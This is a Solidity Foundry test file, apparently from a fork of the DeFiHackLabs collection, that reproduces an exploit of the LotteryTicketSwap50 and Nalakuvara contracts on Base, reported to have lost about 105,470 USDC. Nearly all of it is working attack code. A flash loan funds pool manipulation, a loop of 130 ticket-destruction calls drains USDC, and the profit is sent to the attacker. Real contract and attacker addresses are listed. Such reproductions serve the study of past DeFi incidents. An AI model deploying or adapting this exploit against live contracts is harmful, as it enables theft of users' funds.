forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathNalakuvara_LotteryTicket50_exp.sol
More file actions
101 lines (74 loc) · 3.7 KB
/
Nalakuvara_LotteryTicket50_exp.sol
File metadata and controls
101 lines (74 loc) · 3.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 105470 USDC
// Attacker : https://basescan.org/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
// Attack Tx : https://basescan.org/tx/0x16a99aef4fab36c84ba4616668a03a5b37caa12e2fc48923dba4e711d2094699
// @Analysis
// Root cause : https://x.com/TenArmorAlert/status/1921046572353417560
// X(Twitter) Guy : https://x.com/TenArmorAlert/status/1920816516653617318
address constant UniswapV3Pool = 0xd0b53D9277642d899DF5C87A3966A349A798F224;
address constant UniswapV2Pair = 0xaDcaaB077f636d74fd50FDa7f44ad41e20A21FEE;
address constant usdc = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
address constant LotteryTicketSwap50 = 0x172119155a48DE766B126de95c2cb331D3A5c7C2;
address constant LotteryTicket50 = 0xF9260Bb78d16286270e123642ca3DE1F2289783b;
address constant Nalakuvara = 0xb39392F4b6D92a6BD560Ed260C2c488081aAB8E9;
contract Nalakuvara_LotteryTicket50_exp is Test {
address attacker = 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32;
function setUp() public {
vm.createSelectFork("base", 30_001_613 - 1); // Create contract block
vm.deal(attacker, 1 ether);
vm.label(attacker, "Attacker");
vm.label(UniswapV3Pool, "UniswapV3Pool");
vm.label(UniswapV2Pair, "UniswapV2Pair");
vm.label(usdc, "USDC");
vm.label(Nalakuvara, "Nalakuvara");
vm.label(LotteryTicketSwap50, "LotteryTicketSwap50");
}
function testExploit() public {
emit log_named_decimal_uint("USDC before attack", IUSDC(usdc).balanceOf(attacker), 6);
vm.prank(attacker);
AttackerC ac = new AttackerC{value: 0.2 ether}();
ac.attack();
vm.stopPrank();
emit log_named_decimal_uint("USDC after attack", IUSDC(usdc).balanceOf(attacker), 6);
}
}
contract AttackerC {
address attacker;
constructor() payable {
attacker = msg.sender;
}
function attack() public {
IUniswapV3Flash(UniswapV3Pool).flash(address(this), 0, 2_930_000_000_000, "");
}
function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
IUSDC(usdc).transfer(UniswapV2Pair, 2_800_000_000_000);
IUniswapV2Pair(UniswapV2Pair).swap(0, 71_500_000_000_000_000_000_000_000_000, address(this), "");
IUSDC(usdc).approve(LotteryTicketSwap50, 10_000_999_990_000_000_000_000_000_000);
ILotteryTicketSwap50(LotteryTicketSwap50).transferToken(130_000_000_000);
IERC20(Nalakuvara).transfer(UniswapV2Pair, 71_500_000_000_000_000_000_000_000_000);
IUniswapV2Pair(UniswapV2Pair).swap(2_908_000_000_000, 0, address(this), "");
IERC20(LotteryTicket50).approve(LotteryTicketSwap50, 1_000_000_000_000_000_000_000_000_000);
// uint256 i = 1;
// while (true) {
// ILotteryTicketSwap50(LotteryTicketSwap50).DestructionOfLotteryTickets(20_000_000);
// if (IUSDC(usdc).balanceOf(address(this)) > 2_931_750_000_000) break;
// i++;
// }
// console.log("Number of iterations: ", i);
for (uint256 i = 0; i < 130; i++) {
ILotteryTicketSwap50(LotteryTicketSwap50).DestructionOfLotteryTickets(20_000_000);
}
IUSDC(usdc).transfer(UniswapV3Pool, 2_931_750_000_000); // Pay back flash loan
uint256 profit = IUSDC(usdc).balanceOf(address(this));
// console.log(profit);
IUSDC(usdc).transfer(attacker, profit);
}
receive() external payable {}
}
interface ILotteryTicketSwap50 {
function transferToken(uint256 amount) external returns (bool);
function DestructionOfLotteryTickets(uint256 _amountTickets) external returns (bool);
}